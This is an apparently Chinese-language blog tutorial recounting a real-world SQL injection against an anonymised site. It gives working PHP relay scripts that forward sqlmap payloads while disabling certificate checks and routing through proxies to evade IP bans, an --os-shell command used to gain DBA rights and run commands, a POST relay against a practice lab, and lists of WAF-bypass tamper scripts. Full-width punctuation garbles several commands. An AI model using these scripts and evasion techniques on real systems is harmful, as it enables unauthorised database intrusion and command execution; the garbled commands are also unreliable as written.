「Web安全」實戰sqlmap繞過WAF

「Web安全」實戰sqlmap繞過WAF

前言

隨著最近幾年安全行業的興起,市場關注度的不斷提升,安全防護的軟體也在不斷提升,不在是那個隨便找一個站就能馬上發現漏洞了,沒有以前那麼多所謂的“靶場”了,在這次的實戰中遇到的SQL注入與其他的有點不一樣,需要考慮的東西很多,寫得不好的地方師傅們勿噴。

【檢視資料】

實戰演示

透過前期的資訊收集發現存在注入的頁面如下:

「Web安全」實戰sqlmap繞過WAF

直接使用sqlmap跑發現出現如下錯誤:

python2 sqlmap。py -u “http://xxxx?&daxxtae=null¶me=xxxxxx” ——batch ——delay=1 ——random-agent ___ __H__ ___ ___[“]_____ ___ ___ {1。5。4。7#dev}|_ -| 。 [)] | 。‘| 。 ||___|_ [”]_|_|_|__,| _| |_|V。。。 |_| http://sqlmap。org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal。 It is the end user’s responsibility to obey all applicable local, state and federal laws。 Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:12:10 /2021-10-10/[10。12。10] [INFO] parsing HTTP request from ‘49’custom injection marking character (‘*’) found in option ‘——data’。 Do you want to process it? [Y/n/q]Y[10:12:10] [INFO] testing connection to the target URL[10:12:10] [CRITICAL] can‘t establish SSL connection

一看無法建立SSL連線,好不容易發現一個注入點,難道就這樣放棄了嗎?先百度一波,看看SSL證書原理,就用一張圖來理解更直接明瞭。

「Web安全」實戰sqlmap繞過WAF

那麼遇到這樣的情況要怎麼辦呢?在sqlmap中沒有繞過SSL證書的引數,思考了很長時間,終於想起來原來貌似有一箇中轉註入。這裡要解決的第一個問題是有哪些指令碼語言能夠在請求網址時忽略SSL證書,第二個問題是我還需要使用sqlmap中的payload,這兩個都要滿足,透過查詢瞭解到PHP可以使用引數來忽略SSL證書,由於並不是搞開發的,所以這裡還是思考了很長時間,先來理解一下中轉註入的原理吧。

中轉註入的原理

首先我們我們來分析一下sqlmap中轉註入的原理,如下圖:

「Web安全」實戰sqlmap繞過WAF

了讓大家更加容易解,先使用簡單的指令碼演示一遍,演示程式碼如下:

<?php$payload=base64_encode($_GET[’x‘]);//對中轉指令碼接收的引數進行base64編碼echo $payload$urls=“http://xxx/xxxx?q=1$payload”;//對請求的網址拼接base64編碼的字串file_get_contents($urls);//請求目標網站echo $urls;?>

網上隨便找尋一個後面有引數的網站,新增到$urls變數中,將上述程式碼放在本地伺服器中,然後訪問,可以看到成功請求到我們新增的網站

「Web安全」實戰sqlmap繞過WAF

使用sqlmap跑一下,設定一下代理使用burp來抓包

python2 sqlmap。py -u “http://127。0。0。1/zhongzhuan。php?x=1” -v 3 ——proxy=http://127。0。0。1:8080

成功看到各種payload

「Web安全」實戰sqlmap繞過WAF

「Web安全」實戰sqlmap繞過WAF

burp抓包的結果

「Web安全」實戰sqlmap繞過WAF

<?phpset_time_limit(0); $id=$_GET[“id”]; $id=str_replace(“ ”,“/**/”,$id); $id=str_replace(“=”,“%3D”,$id); //這些編碼機制可以自己的需求設定,畢竟實戰的環境變換多樣$url = “http://xxxx?&daxxtae=null¶me=$id”;echo $url;$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, “$url”); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https請求 不驗證證書curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https請求 不驗證hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函式執行如果成功只將結果返回,不自動輸出任何內容。如果失敗返回FALSEcurl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一個頭包含在輸出中,設定這個選項為一個非零值 $output = curl_exec($ch); curl_close($ch); print_r($output);?>

此時中轉指令碼已經寫好了,用sqlmap跑,沒想到呀,既然流量有限制,就算請求延遲調得很慢,還是直接將我的ip給封了,此時又是一個漫長的過程,又要繼續思考了,在sqlmap中有代理設定引數,哈哈哈這都知道,但是試了試一試不可以,一直思考呀,首先我們藉助了中轉指令碼,先請求的是我們的本地伺服器,你說外網的代理伺服器直接訪問我本地伺服器這是一個不現實的問題,最主要是我沒有公網伺服器,不然就好辦了,所以現在需要思考兩個問題,首先我要用到中轉指令碼過證書問題,還要能夠使用代理,在PHP程式碼上使用代理池設定。此時sqlmap先請求我們中轉指令碼(並沒有用代理地址),中轉指令碼藉助設定的代理地址去訪問目標網頁。

現在程式碼修改成瞭如下:

<?phpset_time_limit(0); $id=$_GET[“id”]; $id=str_replace(“ ”,“%20”,$id); $id=str_replace(“=”,“%3D”,$id); $url = “http://xxxx?&daxxtae=null¶me=$id”;echo $url;$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, “$url”); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_PROXY, ’proxy。xxxx。com‘); //代理伺服器地址curl_setopt($ch, CURLOPT_PROXYPORT, ’8080‘); //代理伺服器埠$output = curl_exec($ch); curl_close($ch); print_r($output);?>

在使用sqlmap跑的時候最好先本地測試一下,經過了20多分鐘的掃描終於算是出東西了

「Web安全」實戰sqlmap繞過WAF

直接看一下能否寫shell,搞個高危,運氣就是這麼好

python2 sqlmap。py -u “http://xxxx?&daxxtae=null¶m=xxx” ——batch ——delay=1 ——random-agent ——os-shell

成功拿到了dba許可權

「Web安全」實戰sqlmap繞過WAF

成功執行命令,不過是真的慢,可能是有防護軟體原因吧。

「Web安全」實戰sqlmap繞過WAF

在這裡問題又來了,要是post型注入又該怎麼辦呢?上面的指令碼似乎不在使用思考了很長時間,但是也沒有在實際中遇到,所以這裡就想本地嘗試一次。

post型中轉註入

在注入天書中有post型注入,隨便選了一個11關卡,抓取less-11關的包,注入點在登入框這裡。

「Web安全」實戰sqlmap繞過WAF

注入點位

uname=admin&passwd=hhh&submit=Submit

構造中轉指令碼如下:

<?php$url = “http://192。168。1。104/sqli/Less-11/index。php”;$sql = $_GET[s];//獲取中轉指令碼傳過來的payload $s = urlencode($sql);$params = “uname=admin$s&passwd=aa”;$ch = curl_init();// 建立一個新cURL資源 curl_setopt($ch, CURLOPT_URL, $url);//這是你想用PHP取回的URL地址,可以在用curl_init()函式初始化時設定這個選項curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https請求 不驗證證書curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https請求 不驗證hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函式執行如果成功只將結果返回,不自動輸出任何內容。如果失敗返回FALSEcurl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一個頭包含在輸出中,設定這個選項為一個非零值 curl_setopt($ch, CURLOPT_USERAGENT, ’Mozilla/5。0 (compatible; MSIE 5。01; Windows NT 5。0)‘);// 在HTTP請求中自定義一個”user-agent”頭的字串curl_setopt($ch, CURLOPT_TIMEOUT, 15);//為了應對目標伺服器的過載,下線,或者崩潰等可能狀況。curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式curl_setopt($ch, CURLOPT_POSTFIELDS, $params);// 抓取URL並把它傳遞給瀏覽器 $output = curl_exec($ch);// 關閉cURL資源,並且釋放系統資源curl_close($ch);$a = strlen($output);//echo $a;if($a==2846){ echo “1”;}else{ echo “2”;}

使用sqlmap進行注入

「Web安全」實戰sqlmap繞過WAF

首先注入我們的中轉指令碼

「Web安全」實戰sqlmap繞過WAF

中轉指令碼透過獲取的payload請求目標網站

「Web安全」實戰sqlmap繞過WAF

成功跑出資料庫

「Web安全」實戰sqlmap繞過WAF

sqlmap繞過WAF的思路總結

1、設定請求頭

——user-agent=“Mozilla/5。0 (X11; Linux x86_64; rv:68。0) Gecko/20100101 Firefox/68。0”

2、設定代理

——proxy=http://127。0。0。1:8080

3、設定延遲

——delay=1

4、利用--tamper引數中的編碼指令碼

常見編碼搭配方式

普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

資料庫為MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

資料庫為MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

5、自己編寫中轉指令碼

關注我,持續更新;

檢視【網路安全學習資料·攻略】